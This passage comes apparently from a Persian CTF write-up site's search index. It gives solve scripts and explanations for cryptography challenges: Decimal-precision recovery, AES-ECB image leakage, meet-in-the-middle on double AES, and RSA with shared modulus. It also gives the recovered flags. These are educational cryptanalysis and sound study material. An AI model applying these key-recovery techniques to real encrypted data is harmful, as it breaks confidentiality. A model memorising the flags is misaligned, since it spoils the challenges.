\u0628\u062f\u0633\u062a \u0645\u06cc\u0627\u0631\u06cc\u0645. \u0628\u0642\u06cc\u0647 \u0645\u0631\u0627\u062d\u0644\u060c \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06a9\u062f \u0632\u06cc\u0631 \u0628\u0647 \u0641\u0644\u06af \u0645\u06cc \u0631\u0633\u06cc\u0645.

solve.py
from decimal import *\nfrom Crypto.Util.number import *\n\ngetcontext().prec = 1033\nc = 5045178894357626075431384420860360647034114401723872009235472900716359915220507491073960091678247276121410336208043903213023270852375878447784137648224298070437468162688759757920721723781604874151511572882769621941513872944171938170800255953999521262507633248122058585326636562475057264132441892290385234155811673238225858794265110896113943435633328964169010801463217935967353264871894098875705195581754210881067786818256285938683517110450003983693265702180080692280190636422223594905498601205618208238650519192521153660957941553495169629553425307135627310090665836554328620333233651748363605006405700561070148067374204713428800371202120708720303368873063856187395746236050232433322757367599705756026681249243491427692831512293583163552663661247047141621453850846452005560242532098020050458041224274532870717854358073569467859182280543593485795867269334718276231423506951784977870960076921603401799962900400216905993065516167476079796078242649399762978533503541077936264107413956207423841535073828559129349967201715665207852577917834390795702440085535969037233161141789375751\n\na = str(c)[::-1]\nk = len(a)-1024\n\nr = Decimal(10) ** Decimal(-1024)\n\nx = Decimal(f\"{a[:k]}.{a[k:]}\") + (r / 2)\nn = int(x**2)\n\nfor i in range(1, 2**16):\n    if n%i==0 :\n        if (msg:=long_to_bytes(n//i)).startswith(b'SNAPP'):\n            print(msg)\n
FLAG

SNAPP{acCUr4cY4nd_pr3cI5iOn!n_Pyth0n!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u06af\u0627\u0646

HIGHer \u060cmheidari98

","tags":["SnappCTF","SnappCTF-2024","Crypto","Encoding","Decimal number"]},{"location":"crypto/writeups/SnappCTF/mascot/","title":"Mascot","text":"

\u062a\u0648 \u0627\u06cc\u0646 \u0686\u0644\u0646\u062c \u06cc\u0647 \u0641\u0627\u06cc\u0644 \u0628\u0634 \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u0628\u0647 \u0645\u0627 \u0645\u06cc\u0641\u0647\u0645\u0648\u0646\u0647 \u0627\u0646\u06a9\u0631\u06cc\u067e\u0634\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u062a\u0627\u06cc\u067e ECB \u0647\u0633\u062a \u0648 \u0627\u06cc\u0646 \u062a\u0627\u06cc\u067e \u0627\u0632 \u0627\u0646\u06a9\u0631\u06cc\u067e\u0634\u0646 AES \u06cc\u0647 \u0628\u0627\u06af (\u06a9\u0647 \u0627\u0644\u0628\u062a\u0647 \u0641\u06cc\u0686\u0631 \u0647\u0645 \u0647\u0633\u062a ) \u06a9\u0647 \u0628\u0627\u06cc\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0628\u0627\u06af \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0628\u062a\u0648\u0646\u06cc\u0645 \u0641\u0644\u06af \u0631\u0648 \u0628\u062e\u0648\u0646\u06cc\u0645

\u0645\u0639\u0631\u0648\u0641 \u062a\u0631\u06cc\u0646 \u0639\u06a9\u0633 \u062f\u0631 \u0631\u0627\u0628\u0637\u0647 \u0628\u0627 \u0627\u06cc\u0646 \u0628\u0627\u06af \u0627\u06cc\u0646 \u0639\u06a9\u0633\u0647

\u0641\u0631\u0645\u062a ppm \u0628\u0647 \u0635\u0648\u0631\u062a\u06cc \u0647\u0633\u062a \u06a9\u0647 3 \u062e\u0637 \u0627\u0648\u0644 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0647\u062f\u0631 \u062a\u0639\u0631\u06cc\u0641 \u0645\u06cc\u0634\u0646 \u0645\u0627 \u0628\u0627 \u062e\u0637 \u062f\u0648\u0645 \u06a9\u0627\u0631 \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u0631\u0632\u0648\u0644\u0648\u0634\u0646 \u0647\u0633\u062a

\u06cc\u0647 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0645\u06cc\u0646\u0648\u06cc\u0633\u06cc\u0645 \u06a9\u0647 \u0628\u06cc\u0627\u062f \u0631\u0632\u0648\u0644\u0648\u0634\u0646 \u0631\u0648 \u0628\u0631\u0648\u062a \u0641\u0648\u0631\u0633 \u06a9\u0646\u06cc\u0645

\u062a\u0648 \u06cc\u0647 \u0631\u0627\u06cc\u062a\u0627\u067e \u062f\u06cc\u06af\u0647 \u062a\u0648 \u0647\u0645\u06cc\u0646 \u0628\u0644\u0627\u06af \u0627\u0634\u0627\u0631\u0647 \u06a9\u0631\u062f\u0645 \u06a9\u0647:

\u067e\u06cc\u06a9\u0633\u0644 \u0647\u0627\u06cc \u062a\u0635\u0627\u0648\u06cc\u0631 \u0627\u0632 \u0686\u067e \u0628\u0647 \u0631\u0627\u0633\u062a \u062a\u06a9\u0645\u06cc\u0644 \u0645\u06cc\u0634\u0646 \u0648 \u0627\u0631\u062a\u0641\u0627\u0639 \u062a\u0627\u062b\u06cc\u0631\u06cc \u062f\u0631 \u067e\u06cc\u06a9\u0633\u0644 \u0647\u0627 \u0648 \u062a\u0631\u062a\u06cc\u0628\u0634\u0648\u0646 \u0646\u062f\u0627\u0631\u0647

\u067e\u0633 \u0645\u0627 \u0641\u0642\u0637 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 x \u0631\u0648 \u062a\u063a\u06cc\u06cc\u0631 \u0628\u062f\u06cc\u0645 =)))

\u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0628\u062f\u06cc\u0646 \u0635\u0648\u0631\u062a \u0627\u0633\u062a

b = open(\"flag.enc\", \"rb\").read()\n\nbase = \"\"\"P6\n{} {}\n65535\n\"\"\"\ny = 100\nfor x in range(1000):\n    with open(\"res/{}x{}.png\".format(x,y), 'wb') as f:\n        f.write(base.format(x,y).encode() + b)\n

\u0628\u0639\u062f \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a\u060c \u0641\u0644\u06af \u062f\u0631 \u0631\u0632\u0648\u0644\u0648\u0634\u0646 740x100.png \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u06cc\u0634\u0648\u062f

","tags":["SnappCTF","SnappCTF-2024","Crypto","AES-ECB","ECB mode"]},{"location":"crypto/writeups/SnappCTF/mascot/#_1","title":"Mascot","text":"

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["SnappCTF","SnappCTF-2024","Crypto","AES-ECB","ECB mode"]},{"location":"crypto/writeups/TCP1PCTF/Final_Consensus/","title":"\u0686\u0627\u0644\u0634 Final_Consensus","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0628\u0639\u062f \u0627\u0632 \u0648\u0635\u0644 \u0634\u062f\u0646 \u0628\u0647 \u0633\u0631\u0648\u0631 \u06cc\u06a9 \u0631\u0634\u062a\u0647 hex \u06a9\u0647 \u0627\u062d\u062a\u0645\u0627\u0644\u0627 \u0641\u0644\u06af \u0631\u0645\u0632 \u0634\u062f\u0647 \u0627\u0633\u062a \u0631\u0627 \u0628\u0647 \u0645\u0627 \u0646\u0645\u0627\u06cc\u0634 \u0645\u06cc \u062f\u0647\u062f \u0648 \u0633\u067e\u0633 \u0627\u0632 \u0627\u0645\u0627 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0648\u0627\u0631\u062f \u06a9\u0631\u062f\u0646 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u067e\u06cc\u0627\u0645 \u0631\u0627 \u0645\u06cc \u06a9\u0646\u062f \u06a9\u0647 \u0628\u0639\u062f \u0627\u0632 \u0627\u0631\u0633\u0627\u0644\u060c \u062f\u0631 \u062c\u0648\u0627\u0628 \u0645\u0639\u0627\u062f\u0644 \u0631\u0645\u0632\u0634\u062f\u0647 \u0622\u0646 \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a hex \u0645\u0627\u0646\u0646\u062f \u0632\u06cc\u0631 \u0628\u0631\u0645\u06cc \u06af\u0631\u062f\u0627\u0646\u062f.

>nc ctf.tcp1p.com 35257\nAlice: My message 1c57bd307f4b7f05cb732f4ae7ba8b91a2de2682c4b6d10d86ae649eb656e812b5400f773e8b57fa68e188d33191320b51566d00f8dde9e4265160d399d02db0e4464d08542c3cba1280226994e2d5c6\nAlice: Now give me yours!\n> a\nSteve:  be754ecefff84bcc8f145070a59ce039\nAlice: Agree.\n

\u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u06a9\u062f \u0633\u0645\u062a \u0633\u0631\u0648\u0631 \u0647\u0645 \u0628\u0647 \u0635\u0648\u0631\u062a \u0632\u06cc\u0631 \u062f\u0627\u062f\u0647 \u0627\u0633\u062a.

server.py
from Crypto.Cipher import AES\nimport random\nfrom Crypto.Util.Padding import pad\n\na = b\"\"\nb = b\"\"\nFLAG = b\"TCP1P{REDACTED}\"\n\ndef generateKey():\n    global a, b\n    a = (str(random.randint(0, 999999)).zfill(6)*4)[:16].encode()\n    b = (str(random.randint(0, 999999)).zfill(6)*4)[:16].encode()\n\ndef encrypt(plaintext, a, b):\n    cipher = AES.new(a, mode=AES.MODE_ECB)\n    ct = cipher.encrypt(pad(plaintext, 16))\n    cipher = AES.new(b, mode=AES.MODE_ECB)\n    ct = cipher.encrypt(ct)\n    return ct.hex()\n\ndef main():\n    generateKey()\n    print(\"Alice: My message\", encrypt(FLAG, a, b))\n    print(\"Alice: Now give me yours!\")\n    plain = input(\">> \")\n    print(\"Steve: \", encrypt(plain.encode(), a, b))\n    print(\"Alice: Agree.\")\n\n\nif __name__ == '__main__':\n    main()\n

\u0628\u0627 \u0628\u0631\u0631\u0633\u06cc \u06a9\u062f \u0633\u0645\u062a \u0633\u0631\u0648\u0631 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc \u0634\u0648\u06cc\u0645 \u06a9\u0647 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u062f\u0648 \u0639\u062f\u062f \u062a\u0635\u0627\u062f\u0641\u06cc a \u0648 b \u0628\u06cc\u0646 0 \u062a\u0627 999999 \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc \u0634\u0648\u0646\u062f\u060c \u0633\u067e\u0633 \u0622\u0646\u0647\u0627 \u0631\u0648 \u0628\u0647 \u0634\u06a9\u0644 \u0631\u0634\u062a\u0647 16 \u0628\u0627\u06cc\u062a\u06cc hex \u062a\u0628\u062f\u06cc\u0644 \u0645\u06cc \u06a9\u0646\u062f \u0648 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06a9\u0644\u06cc\u062f \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0628\u0644\u0648\u06a9\u06cc ECB \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u062f. \u0627\u06af\u0631 \u0628\u0647 \u06a9\u062f \u062f\u0642\u062a \u06a9\u0646\u06cc\u062f \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc \u0634\u0648\u06cc\u062f \u06a9\u0647 \u0641\u0644\u06af \u062f\u0648 \u0628\u0627\u0631 \u0628\u0647 \u0635\u0648\u0631\u062a \u0645\u062a\u0648\u0627\u0644\u06cc \u0631\u0645\u0632 \u0645\u06cc \u0634\u0648\u062f \u06cc\u0639\u0646\u06cc \u0627\u0628\u062a\u062f\u0627 \u0641\u0644\u06af \u0628\u0627 \u06a9\u0644\u06cc\u062f a \u0631\u0645\u0632\u0634\u062f\u0647 \u0633\u067e\u0633 \u0645\u0642\u062f\u0627\u0631 \u062e\u0631\u0648\u062c\u06cc \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06a9\u0644\u06cc\u062f b \u062f\u0648\u0628\u0627\u0631\u0647 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0627\u0633\u062a. \u062f\u0631 \u0627\u06cc\u0646 \u062d\u0627\u0644\u062a\u060c \u0628\u0631\u0627\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u062f\u0648 \u06a9\u0644\u06cc\u062f \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062f\u0648 \u062d\u0644\u0642\u0647 \u062a\u0648\u062f\u0631\u062a\u0648 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f \u06a9\u0647 \u067e\u06cc\u0686\u06cc\u062f\u06af\u06cc \u0632\u0645\u0627\u0646\u06cc \u0622\u0646 O(n^2) \u0627\u0633\u062a. \u0627\u0632\u0622\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0647\u0631 \u06a9\u0644\u06cc\u062f \u06cc\u06a9 \u0639\u062f\u062f \u062a\u0635\u0627\u062f\u0641\u06cc \u0628\u06cc\u0646 0 \u062a\u0627 999999 \u0627\u0633\u062a \u067e\u0633 \u062a\u0639\u062f\u0627\u062f \u06a9\u0644 \u062d\u0627\u0644\u0627\u062a \u0645\u0645\u06a9\u0646 \u0628\u0631\u0627\u0628\u0631 1000000^2 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f \u06a9\u0647 \u0639\u0645\u0644\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 bruteforce \u0628\u0631\u0627\u06cc \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u06a9\u0644\u06cc\u062f\u0647\u0627 \u0648 \u0633\u067e\u0633 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u0641\u0644\u06af \u0631\u0627 \u063a\u06cc\u0631\u0645\u0645\u06a9\u0646 \u0645\u06cc \u06a9\u0646\u062f \u0648 \u0628\u0627\u06cc\u062f \u0628\u0647 \u0641\u06a9\u0631 \u0631\u0627\u0647 \u062f\u06cc\u06af\u0631\u06cc \u0628\u0648\u062f.

\u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0628\u0627\u06cc\u062f \u0628\u0647 \u062f\u0648 \u0646\u06a9\u062a\u0647 \u062a\u0648\u062c\u0647 \u06a9\u0646\u06cc\u0645:

\u0627\u06cc\u0646 \u062f\u0648 \u0648\u06cc\u0698\u06af\u06cc \u0645\u0627 \u0631\u0627 \u0628\u0647 \u0641\u06a9\u0631 \u062d\u0645\u0644\u0647 Meet-in-the-middle (MITM) \u06cc\u0627 \u0627\u0635\u0637\u0644\u0627\u062d\u0627 \u0645\u0644\u0627\u0642\u0627\u062a \u062f\u0631 \u0645\u06cc\u0627\u0646\u0647 \u0627\u0646\u062f\u0627\u062e\u062a. \u0686\u0648\u0646 \u0647\u0645 \u0645\u062a\u0646 \u067e\u06cc\u0627\u0645 \u0648 \u0647\u0645 \u0645\u0639\u0627\u062f\u0644 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0622\u0646 \u0631\u0627 \u062f\u0627\u0631\u06cc\u0645 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u062c\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u062a\u0645\u0627\u0645 \u062d\u0627\u0644\u0627\u062a \u0645\u0645\u06a9\u0646 \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc a \u0648 b \u0631\u0627 \u0628\u0647 \u0634\u06a9\u0644 \u0645\u062a\u0648\u0627\u0644\u06cc \u0627\u0645\u062a\u062d\u0627\u0646 \u06a9\u0646\u06cc\u0645\u060c \u0645\u062b\u0644 \u062a\u0635\u0648\u06cc\u0631 \u0632\u06cc\u0631 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0631\u0634\u062a\u0647 \u067e\u06cc\u0627\u0645 \u0631\u0627 \u0628\u0627 \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc \u0645\u062a\u0641\u0627\u0648\u062a a \u0627\u0632 \u06cc\u06a9 \u0637\u0631\u0641 \u0627\u0646\u062c\u0627\u0645 \u062f\u0647\u06cc\u0645 \u0648 \u0622\u0646 \u0647\u0627 \u0631\u0627 \u0646\u06af\u0647 \u062f\u0627\u0631\u06cc\u0645. \u0633\u067e\u0633 \u0627\u0632 \u0637\u0631\u0641 \u0645\u0642\u0627\u0628\u0644 \u0645\u0642\u062f\u0627\u0631 \u0631\u0645\u0632 \u0631\u0627 \u0628\u0627 \u06a9\u0644\u06cc\u062f b \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u06a9\u0646\u06cc\u0645. \u0647\u0646\u06af\u0627\u0645\u06cc \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u0645\u0642\u062f\u0627\u0631 \u06cc\u06a9\u0633\u0627\u0646 \u062f\u0631 \u0648\u0633\u0637 \u0628\u0631\u0633\u06cc\u0645 \u0627\u0635\u0637\u0644\u0627\u062d\u0627 \u0645\u0644\u0627\u0642\u0627\u062a \u0627\u062a\u0641\u0627\u0642 \u0645\u06cc \u0627\u0641\u062a\u062f \u0648 \u0645\u0642\u062f\u0627\u0631 \u06a9\u0644\u06cc\u062f \u0647\u0627\u06cc a \u0648 b \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u062f\u0633\u062a \u0645\u06cc \u0622\u06cc\u062f. \u067e\u06cc\u0686\u06cc\u062f\u06af\u06cc \u0632\u0645\u0627\u0646\u06cc \u062f\u0631 \u0627\u06cc\u0646 \u0634\u0631\u0627\u06cc\u0637 \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0639\u062f\u0645 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062d\u0644\u0642\u0647 \u062a\u0648\u062f\u0631\u062a\u0648 \u062d\u062f\u0627\u06a9\u062b\u0631\u0628\u0631\u0627\u0628\u0631 O(2n) \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f.

\u062d\u0627\u0644 \u0628\u0631\u0627\u06cc \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u0641\u0644\u06af \u06cc\u06a9 \u0628\u0627\u0631 \u0628\u0647 \u0633\u0631\u0648\u0631 \u0645\u062a\u0635\u0644 \u0645\u06cc \u0634\u0648\u06cc\u0645 \u0648 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u067e\u06cc\u0627\u0645 \u062f\u0644\u062e\u0648\u0627\u0647 (\"a\") \u0628\u0647 \u0622\u0646 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc \u06a9\u0646\u06cc\u0645 \u0648 \u0645\u0639\u0627\u062f\u0644 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0622\u0646 \u0631\u0627 \u0628\u062f\u0633\u062a \u0645\u06cc \u0622\u0648\u0631\u06cc\u0645. \u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u062a\u0648\u0627\u0646\u0633\u062a\u06cc\u0645 \u0645\u0642\u062f\u0627\u0631 a \u0648 b \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646 \u0632\u06cc\u0631 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u06cc\u0645 \u0628\u0627 \u0647\u0645\u0627\u0646 \u062f\u0648 \u06a9\u0644\u06cc\u062f \u06a9\u0644 \u0641\u0644\u06af \u0631\u0645\u0632\u0634\u062f\u0647 \u0631\u0627 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u06a9\u0646\u06cc\u0645.

solve.py
from Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad, unpad\n\nFLAG = \"1c57bd307f4b7f05cb732f4ae7ba8b91a2de2682c4b6d10d86ae649eb656e812b5400f773e8b57fa68e188d33191320b51566d00f8dde9e4265160d399d02db0e4464d08542c3cba1280226994e2d5c6\"\nFLAG = bytes.fromhex(FLAG)\n\nc = \"be754ecefff84bcc8f145070a59ce039\"\nc = bytes.fromhex(c)\n\nplaintext = b\"a\"\n\nct_a = {}\nfor i in range(1_000_000):\n    a = (str(i).zfill(6)*4)[:16].encode()\n    cipher = AES.new(a, mode=AES.MODE_ECB)\n    ct = cipher.encrypt(pad(plaintext, 16))\n    ct_a[ct] = a\n\nfor i in range(1_000_000):\n    b = (str(i).zfill(6)*4)[:16].encode()\n    cipher = AES.new(b, mode=AES.MODE_ECB)\n    mid = cipher.decrypt(c)\n    if mid in ct_a:\n        cipher = AES.new(b, mode=AES.MODE_ECB)\n        ct = cipher.decrypt(FLAG)\n        cipher = AES.new(ct_a[mid], mode=AES.MODE_ECB)\n        print(unpad(cipher.decrypt(ct), 16).decode())\n
FLAG

TCP1P{nothing_ever_lasts_forever_everybody_wants_to_rule_the_world}

\u0646\u0648\u06cc\u0633\u0646\u062f\u06af\u0627\u0646

HIGHer \u060cN1k4

","tags":["TCP1P-CTF","TCP1P-2023","Crypto","AES","ECB mode","Meet-in-the-Middle (MITM)"]},{"location":"crypto/writeups/vSCTF/Redundancy/","title":"\u0686\u0627\u0644\u0634 Redundancy","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646 \u0632\u06cc\u0631 \u0647\u0645\u0631\u0627\u0647 \u0628\u0627 \u0641\u0627\u06cc\u0644 \u062d\u0627\u0648\u06cc \u0645\u0642\u0627\u062f\u06cc\u0631 \u0631\u0645\u0632\u0634\u062f\u0647 c1 \u060cc2 \u0648 \u067e\u06cc\u0645\u0627\u0646\u0647 n \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f.

server.py
from flag import flag\nfrom Crypto.Util.number import getPrime as gP\nfrom Crypto.Util.number import bytes_to_long\n\ne1, e2 = 5*2, 5*3\nassert len(flag) < 16\nflag = \"Wow good job the flag is (omg hype hype): vsctf{\"+flag+\"}\"\n\np = gP(1024)\nq = gP(1024)\n\nn = p * q\nm = int.from_bytes(flag.encode(), 'big')\nc1 = pow(m, e1, n)\nc2 = pow(m, e2, n)\n\nprint(f\"n = {n}\")\nprint(f\"c1 = {c1}\")\nprint(f\"c2 = {c2}\")\n
n = 17017748438705066485980265610504973941689507158214048907934864053951824889071064601073910857498716466379300399394556852943447842816066237762975759146067603346932655815765634166764048084180474131701931383171349451845316534710526574012912735473043515230467907689465656893004952933482461926380363467891367371320920210649076831336026531060035987624376755145919230635976854094060401025222767306359467726378382365555864913880755980365664883663551789406674211837707988941852191026959073337595157795634757323135639457679829852893808412935293002447739900499953490408700913079007749683585557520473906185642328582577705062027631\nc1 = 9003062544361468960014218470636404669173735044866342965869660382166263123283806177716541318605500035571883237116335008322263825288011535307210534022613104692306853206661705792651423740907471425532463013873903464958932506542067750598093825475707515378835734567383026995274504596249534287698334255122015294261751214389359548871918811764608535909122754450577618713535336693131845790212493936556686306004719501205711258082359280474173467230238314287036337126459732454648594184069081357024594728733999140381651217417997443994617467740923081974477194695681963791649774704734532274162532760702494593072786469541911070488784\nc2 = 2546072448640808612556238065690407010381885201320761372614998667179031247594621466783076820338223816545993779457675793555900878984022886823043416655251600929530018123073858500887780064339665319391244085462799327306580227414809334236098388514789401395708999589289970455742049539846184453090569082144704220108709060216465897683931008575383253420528012257869329475086084346328436404376300397163706384908585243637028839505661432353166021577388901987667955042566919645080401328362001267759995517247132976744463557149680150697522052163536029888394019138507753598600096770531185804183946347241540134230811866880904134661137\n

\u0628\u0627 \u0628\u0631\u0631\u0633\u06cc \u0627\u0648\u0644\u06cc\u0647 \u06a9\u062f \u0645\u06cc \u0641\u0647\u0645\u06cc\u0645 \u06a9\u0647 \u0645\u062a\u0646 \u0641\u0644\u06af \u062f\u0648 \u0628\u0627\u0631 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062f\u0648 \u06a9\u0644\u06cc\u062f \u0639\u0645\u0648\u0645\u06cc e1 \u060ce2 \u0648 \u067e\u06cc\u0645\u0627\u0646\u0647 \u06cc\u06a9\u0633\u0627\u0646 n \u0628\u0627 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc RSA \u0631\u0645\u0632 \u0634\u062f\u0647 \u0627\u0646\u062f. \u0628\u0627 \u062f\u0642\u062a \u062f\u0631 \u06a9\u062f \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc \u0634\u0648\u06cc\u0645 \u06a9\u0647 \u062a\u0648\u0644\u06cc\u062f p \u0648 q \u0635\u062d\u06cc\u062d \u0627\u0646\u062c\u0627\u0645 \u0634\u062f\u0647 \u0648 \u0646\u0645\u06cc \u062a\u0648\u0627\u0646 \u0628\u0627 \u062a\u062c\u0632\u06cc\u0647 \u06a9\u0631\u062f\u0646 (factorization) \u0639\u062f\u062f n \u06a9\u0644\u06cc\u062f \u062e\u0635\u0648\u0635\u06cc \u0631\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f. \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u0645\u0642\u0627\u062f\u06cc\u0631 \u0631\u0645\u0632 \u06cc\u0639\u0646\u06cc c1 \u0648 c2 \u0631\u0627 \u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0628\u0647 \u0645\u0627 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647\u060c \u0628\u0627 \u0627\u0646\u062f\u06a9\u06cc \u062c\u0633\u062a\u062c\u0648 \u062f\u0631 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a\u060c \u0628\u0647 \u0627\u06cc\u0646 \u0644\u06cc\u0646\u06a9 \u0631\u0633\u06cc\u062f\u06cc\u0645 \u06a9\u0647 \u0628\u0647 \u0645\u0627 \u06a9\u0645\u06a9 \u06a9\u0631\u062f. \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u06cc\u0645 \u062f\u0631 \u0635\u0648\u0631\u062a \u062f\u0627\u0634\u062a\u0646 \u062f\u0648 \u0645\u062a\u0646 \u0631\u0645\u0632\u0634\u062f\u0647\u060c \u0634\u0631\u0637 gcd(e1,e2)=1 \u0648 \u0645\u0642\u062f\u0627\u0631 n \u0648 m \u06cc\u06a9\u0633\u0627\u0646 \u0645\u06cc \u062a\u0648\u0627\u0646 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u062a\u0639\u0645\u06cc\u0645 \u0627\u0642\u0644\u06cc\u062f\u0633\u06cc EEA \u0628\u0647 \u0631\u0634\u062a\u0647 m \u06cc\u0639\u0646\u06cc \u0641\u0644\u06af \u0631\u0633\u06cc\u062f\u060c \u0627\u0645\u0627 \u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0645\u0642\u062f\u0627\u0631 gcd(e1,e2)=5 \u0627\u0633\u062a. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644 \u0645\u06cc \u062f\u0627\u0646\u06cc\u0645 \u06a9\u0647 2 \u0648 3 \u0636\u0631\u0627\u06cc\u0628\u06cc \u0627\u0632 e1 \u0648 e2 \u0647\u0633\u062a\u0646\u062f \u0646\u0633\u0628\u062a \u0628\u0647 \u0647\u0645 \u0627\u0648\u0644 \u0647\u0633\u062a\u0646\u062f \u0648 \u0634\u0631\u0637 gcd(2,3)=1 \u062f\u0631 \u0622\u0646 \u0635\u062f\u0642 \u0645\u06cc \u06a9\u0646\u062f. \u067e\u0633 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0627 \u0631\u0648\u0634 \u062a\u0648\u0636\u06cc\u062d \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u062f\u0631 \u0644\u06cc\u0646\u06a9 \u0642\u0628\u0644\u06cc \u062d\u062f\u0627\u0642\u0644 \u062a\u0627\u062b\u06cc\u0631 \u062a\u0648\u0627\u0646 \u0647\u0627\u06cc 2 \u0648 3 \u0631\u0627 \u0628\u0627 \u0631\u0648\u0634 \u0632\u06cc\u0631 \u062d\u0630\u0641 \u0648 \u0628\u0647 c=m^5 \u0628\u0631\u0633\u06cc\u0645.

m^5 \\equiv c2 \\times{c1^{-1}} \\mod n m^5 \\equiv (m^{5})^3 \\times{ (m^{5})^{-2} } \\mod n

\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0645\u0631\u062d\u0644\u0647\u060c \u06cc\u06a9 \u0631\u0627\u0647 \u0628\u0631\u0627\u06cc \u0631\u0633\u06cc\u062f\u0646 \u0628\u0647 m \u06af\u0631\u0641\u062a\u0646 \u0631\u06cc\u0634\u0647 5\u0627\u0645 \u0627\u0632 \u0645\u0631\u062d\u0644\u0647 \u0642\u0628\u0644 \u0627\u0633\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u062a\u0646\u0647\u0627 \u0632\u0645\u0627\u0646\u06cc \u0627\u0645\u06a9\u0627\u0646 \u067e\u0630\u06cc\u0631 \u0627\u0633\u062a \u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 m^5 \u0627\u0632 \u067e\u06cc\u0645\u0627\u0646\u0647 n \u06a9\u0648\u0686\u06cc\u06a9\u062a\u0631 \u0628\u0627\u0634\u062f. \u0627\u0645\u0627 \u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0645\u06cc \u062f\u0627\u0646\u06cc\u0645 \u06a9\u0647 